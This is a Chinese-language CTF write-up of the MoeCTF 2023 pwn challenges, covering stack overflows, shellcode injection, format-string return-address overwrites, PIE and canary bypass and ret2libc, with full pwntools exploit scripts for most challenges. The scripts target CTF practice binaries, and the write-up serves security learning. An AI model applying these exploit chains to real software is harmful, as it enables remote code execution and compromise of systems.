Moectf2023 PWN 刷题
moectf2023 pwn 刷题
Fd
猜也知道dup2类似于复制了到一个新的fd
一般就0,1,2,所以读取flag的fd就是3
然后去计算new_fd即可
int_overflow
不使用-,返回负数,那就是整数溢出
unsigned = target & 0xFFFFFFFF # 4294852782
# 或者直接计算
unsigned = 2**32 + target # 4294852782
32text
32程序是栈来传参数,但是我记得是要返回地址的,但这里加上不能成功,不懂。。。。
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
p = process('./pwn')
p.recvuntil(b'age?')
p.sendline(b'100')
p.recvuntil(b'overflow!')
back_addr = 0x080492A9
sh_adr = 0x0804C02C
# gdb.attach(p)
payload = flat([
b'a'*(0x58+4),
p32(back_addr),
# p32(0),
p32(sh_adr)
])
p.send(payload)
p.interactive()
64text
还是64位比较熟悉
分析一样的,但要多找一个pop rdi;ret,然后第一次发送的值大一点
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')
p.recvuntil(b'age?')
p.sendline(b'400')
p.recvuntil(b'overflow!')
back_addr = 0x4012B7
pop_addr = 0x4011be
sh_adr = 0x404050
payload = flat([
b'a'*(0x58),
p64(pop_addr),
p64(sh_adr),
p64(back_addr)
])
p.send(payload)
p.interactive()
shellcode_level0
不能反编译,硬看汇编
gets后发现call rdx,根据经验就是执行我们输入的地址,那就是shellcode
并且看到执行的是rbp+var_78,直接输入就行
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level0')
p.send(asm(shellcraft.sh()))#.rjust(0x70,b'\x90')
p.interactive()
shellcode_level1
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
__int64 v7; // rbx
__int64 v8; // rbx
__int64 v9; // rbx
_QWORD *v10; // rax
__int64 v11; // rbx
__int64 v12; // rbx
__int64 v13; // rbx
__int64 v14; // rbx
__int64 v15; // rbx
__int64 v16; // rbx
_QWORD *v17; // rax
__int64 v18; // rbx
__int64 v19; // rbx
__int64 v20; // rbx
__int64 v21; // rbx
__int64 v22; // rbx
__int64 v23; // rbx
int choise; // [rsp+Ch] [rbp-114h] BYREF
void (*p)(...); // [rsp+10h] [rbp-110h]
char *paper3; // [rsp+18h] [rbp-108h]
void *paper4; // [rsp+20h] [rbp-100h]
void *paper5; // [rsp+28h] [rbp-F8h]
char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
unsigned __int64 v32; // [rsp+108h] [rbp-18h]
v32 = __readfsqword(0x28u);
memset(shellcode, 0, sizeof(shellcode));
memset(paper2, 0, sizeof(paper2));
paper3 = (char *)malloc(0x64u);
paper4 = mmap(0, 0x64u, 3, 34, -1, 0);
paper5 = mmap(0, 0x64u, 7, 34, -1, 0);
choise = 0;
puts("Which paper will you choose?");
__isoc99_scanf("%d", &choise);
puts("what do you want to write?");
__isoc99_scanf("%s", shellcode);
switch ( choise )
{
case 1:
*(_QWORD *)paper1 = *(_QWORD *)shellcode;
*(_QWORD *)&paper1[8] = *(_QWORD *)&shellcode[8];
*(_QWORD *)&paper1[16] = *(_QWORD *)&shellcode[16];
*(_QWORD *)&paper1[24] = *(_QWORD *)&shellcode[24];
*(_QWORD *)&paper1[32] = *(_QWORD *)&shellcode[32];
*(_QWORD *)&paper1[40] = *(_QWORD *)&shellcode[40];
*(_QWORD *)&paper1[48] = *(_QWORD *)&shellcode[48];
*(_QWORD *)&paper1[56] = *(_QWORD *)&shellcode[56];
*(_QWORD *)&paper1[64] = *(_QWORD *)&shellcode[64];
*(_QWORD *)&paper1[72] = *(_QWORD *)&shellcode[72];
*(_QWORD *)&paper1[80] = *(_QWORD *)&shellcode[80];
*(_QWORD *)&paper1[88] = *(_QWORD *)&shellcode[88];
*(_DWORD *)&paper1[96] = *(_DWORD *)&shellcode[96];
p = (void (*)(...))paper1;
break;
case 2:
*(_QWORD *)paper2 = *(_QWORD *)shellcode;
*(_QWORD *)&paper2[8] = *(_QWORD *)&shellcode[8];
*(_QWORD *)&paper2[16] = *(_QWORD *)&shellcode[16];
*(_QWORD *)&paper2[24] = *(_QWORD *)&shellcode[24];
*(_QWORD *)&paper2[32] = *(_QWORD *)&shellcode[32];
*(_QWORD *)&paper2[40] = *(_QWORD *)&shellcode[40];
*(_QWORD *)&paper2[48] = *(_QWORD *)&shellcode[48];
*(_QWORD *)&paper2[56] = *(_QWORD *)&shellcode[56];
*(_QWORD *)&paper2[64] = *(_QWORD *)&shellcode[64];
*(_QWORD *)&paper2[72] = *(_QWORD *)&shellcode[72];
*(_QWORD *)&paper2[80] = *(_QWORD *)&shellcode[80];
*(_QWORD *)&paper2[88] = *(_QWORD *)&shellcode[88];
*(_DWORD *)&paper2[96] = *(_DWORD *)&shellcode[96];
p = (void (*)(...))paper2;
break;
case 3:
v3 = paper3;
v4 = *(_QWORD *)&shellcode[8];
*(_QWORD *)paper3 = *(_QWORD *)shellcode;
*((_QWORD *)v3 + 1) = v4;
v5 = *(_QWORD *)&shellcode[24];
*((_QWORD *)v3 + 2) = *(_QWORD *)&shellcode[16];
*((_QWORD *)v3 + 3) = v5;
v6 = *(_QWORD *)&shellcode[40];
*((_QWORD *)v3 + 4) = *(_QWORD *)&shellcode[32];
*((_QWORD *)v3 + 5) = v6;
v7 = *(_QWORD *)&shellcode[56];
*((_QWORD *)v3 + 6) = *(_QWORD *)&shellcode[48];
*((_QWORD *)v3 + 7) = v7;
v8 = *(_QWORD *)&shellcode[72];
*((_QWORD *)v3 + 8) = *(_QWORD *)&shellcode[64];
*((_QWORD *)v3 + 9) = v8;
v9 = *(_QWORD *)&shellcode[88];
*((_QWORD *)v3 + 10) = *(_QWORD *)&shellcode[80];
*((_QWORD *)v3 + 11) = v9;
*((_DWORD *)v3 + 24) = *(_DWORD *)&shellcode[96];
p = (void (*)(...))paper3;
break;
case 4:
v10 = paper4;
v11 = *(_QWORD *)&shellcode[8];
*(_QWORD *)paper4 = *(_QWORD *)shellcode;
v10[1] = v11;
v12 = *(_QWORD *)&shellcode[24];
v10[2] = *(_QWORD *)&shellcode[16];
v10[3] = v12;
v13 = *(_QWORD *)&shellcode[40];
v10[4] = *(_QWORD *)&shellcode[32];
v10[5] = v13;
v14 = *(_QWORD *)&shellcode[56];
v10[6] = *(_QWORD *)&shellcode[48];
v10[7] = v14;
v15 = *(_QWORD *)&shellcode[72];
v10[8] = *(_QWORD *)&shellcode[64];
v10[9] = v15;
v16 = *(_QWORD *)&shellcode[88];
v10[10] = *(_QWORD *)&shellcode[80];
v10[11] = v16;
*((_DWORD *)v10 + 24) = *(_DWORD *)&shellcode[96];
p = (void (*)(...))paper4;
mprotect(paper4, 0x1000u, 7);
break;
case 5:
v17 = paper5;
v18 = *(_QWORD *)&shellcode[8];
*(_QWORD *)paper5 = *(_QWORD *)shellcode;
v17[1] = v18;
v19 = *(_QWORD *)&shellcode[24];
v17[2] = *(_QWORD *)&shellcode[16];
v17[3] = v19;
v20 = *(_QWORD *)&shellcode[40];
v17[4] = *(_QWORD *)&shellcode[32];
v17[5] = v20;
v21 = *(_QWORD *)&shellcode[56];
v17[6] = *(_QWORD *)&shellcode[48];
v17[7] = v21;
v22 = *(_QWORD *)&shellcode[72];
v17[8] = *(_QWORD *)&shellcode[64];
v17[9] = v22;
v23 = *(_QWORD *)&shellcode[88];
v17[10] = *(_QWORD *)&shellcode[80];
v17[11] = v23;
*((_DWORD *)v17 + 24) = *(_DWORD *)&shellcode[96];
p = (void (*)(...))paper5;
mprotect(paper5, 0x1000u, 0);
break;
}
p();
return 0;
}
主要就是要判断哪个区域最终有执行权限
但是paper5存在mprotect(paper5, 0x1000u, 0);把权限置空了
paper4存在mprotect(paper4, 0x1000u, 7);给了全部权限
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level1')
p.recvuntil(b'choose?')
p.send(b'4')
p.send(asm(shellcraft.sh()))#.rjust(0x70,b'\x90')
p.interactive()
shellcode_level2
看不懂了,上ai吧
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./shellcode_level2')
p.send(b'\x00')
p.send(asm(shellcraft.sh()))
p.interactive()
shellcode_level3
5个字节的shellcode
有shell,那就想办法调用这个函数
使用jmp跳转,但是好像要偏移值,不知道咋算
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./shellcode_level3')
p.recvuntil(b'sha wo?\n')
p.send(b"\xE9\x48\xD1\xFF\xFF")
p.interactive()
uninitialized_key
栈布局相同,两个函数连续调用,且编译器没有清空栈
当不输入key时,会引用age的值
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./uninitialized_key')
# gdb.attach(p)
p.sendline(b'114514')
p.sendline(b'\x00')
p.interactive()
uninitialized_key_plus
改变了get_name的布局,且进行了清空栈
思路应该很容易想,就是填充到相同的布局,然后就与上面相同
填充(0x20-0xc),但是只剩四个字节,咋输入114514呢
可以使用p32(114514)。。。。。。。。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./uninitialized_key_plus')
payload = b'A' * 20 # 填充前20字节
payload += p32(114514)
p.sendline(payload)
p.sendline(b'\x00')
p.interactive()
format_level0
32位,flag数组的值存在栈上,直接%p找到偏移泄露即可
format_level1
talk存在格式化字符串漏洞
attack发现dragon为0时拿shell
找偏移
发现aaaa%7$p时找到偏移为7
然后就改
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
p = process('./format_level1')
p.recvuntil(b'Your choice:')
p.sendline(b'3')
p.recvuntil(b'to talk:')
p.send(b'%8$n'+p32(0x0804C00C))
p.recvuntil(b'Your choice:')
p.sendline(b'1')
p.interactive()
format_level2
打败dragon后不调用success函数了
思路是通过格式化字符串漏洞把返回地址改为success函数地址
有两个返回地址一个是game的,一个是main的
可以这样理解,0xffxxxx就是栈地址,右边就是它的值,也就是%p输出的结果
所以,输入%p得到的是buf的地址,看到game返回地址距离buf的地址相差0x20
同理,main的返回地址相差0x40
然后是如何改
说是要后两个字节,0x8049317就取0x9317
可以一次性写入,但是遇到很大的数好像就会有问题,看到有的wp分开来写
p32(要修改的地址) + b'%'+str(0x9317-4).encode() +b'c%7$p'
p32长度是4也要算在内
或者
0x9317拆为0x93和0x17来写
正常偏移为7
%23c%10$hhn 正常这样写只有11,所以要补一个筹齐12对齐,12/4 = 3,所以往后推了3个偏移
b'%23c%10$hhnA' + p32(要修改的地址)
b'%147c%10$hhn' + p32(要修改的地址 + 1) #因为上面已经写入了一个字节
from pwn import *
parent_path = "/home/user/temp/"
context(os="linux", arch="amd64")
sh = remote("localhost", 35684)
sh.sendline(b'3')
sleep(2)
sh.sendline(b'%p') #泄露栈地址
sleep(2)
sh.recvuntil(b'0x')
pointer = int(sh.recv()[:8], 16) + 0x20 # 返回地址与buf的偏移量为0x20
print(hex(pointer)) # pointer指向栈上的返回地址
# 7是offset,0x9317是要返回的地址的后2个字节
# 当返回地址与原地址只有最后2字节不同最好,相差2字节以上时运行时间过长
sh.sendline(b'3')
sleep(2)
# 0x9317-4是因为前面有4个字节的地址
pad = p32(pointer) + b'%' + str(0x9317 - 4).encode() + b'c%7$hn'
sh.sendline(pad)
sh.interactive()
from pwn import*
context.log_level = 'debug'
io = process('./format_level2')
def choose(choice):
io.recvuntil(b'Your choice: ')
io.sendline(str(choice).encode())
#attach(io)
#pause()
#泄露栈地址
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%p')
io.recvuntil(b'0x')
target = int(io.recv(8), 16) + 0x40
log.success('target ===> '+hex(target))
#修改返回地址
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%23c%10$hhnA'+p32(target))
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%147c%10$hhn'+p32(target+1))
#返回到后门
choose(4)
io.interactive()
format_level3
str由栈变到了bss段上
接下来尝试获取一个栈地址,然后偏移找到返回地址
讲不懂了,自己看wp吧
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
from ctypes import *
# context.log_level = "debug"
# context.arch = "amd64"
p = remote('IP',端口号)
# p = process('./format_level3')
p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%6$p")
p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 4
p.sendlineafter(":",b"3")
payload = "%{}p%6$hhn".format(func_ret & 0xff)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"3")
payload = "%{}p%14$hn".format(0x9317)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"4")
p.interactive()
Pie
开了pie,给了vuln的地址,可以算出pie基址
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
system_addr = 0x011D8
sh_addr = 0x4010
p.recvuntil(b'is:0x')
pie_base = int(p.recv(14),16) - elf.symbols['vuln']
real_sh = pie_base + sh_addr
real_system = pie_base + system_addr
pop_rdi = pie_base + 0x1323
payload = b'a'*0x58 + p64(pop_rdi)+ p64(real_sh)+p64(real_system)
p.send(payload)
p.interactive()
ret2libc
常规题,但遇上个sb问题
我想一次性写完,结果运行发现puts_addr咋是0xa,我就纳闷了咋会是这个呢
然后卡了一会,又打印一个值发现结果在后面
多加一个p.recvuntil(b’\x0a’)即可
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x40117e
payload = b'a'*0x58
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.recvuntil(b'u??\n')
p.send(payload)
p.recvuntil(b'\x0a')
puts_addr = u64(p.recv(6).ljust(0x8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
sh_addr = libc_base + next(libc.search(b'/bin'))
payload2 = b'a'*0x58
payload2 += p64(pop_rdi)
payload2 += p64(sh_addr)
payload2 += p64(0x40101a)
payload2 += p64(system_addr)
p.recvuntil(b'u??\n')
p.send(payload2)
p.interactive()
Canary
第一个printf(%s)可以利用来泄露canary,因为canary最低位为\x00,遇到时就停止打印
我们可以覆盖掉\x00,从而泄露canary的高7位
然后canary = u64(b'\x00'+p.recv(7))
接下来就是正常libc了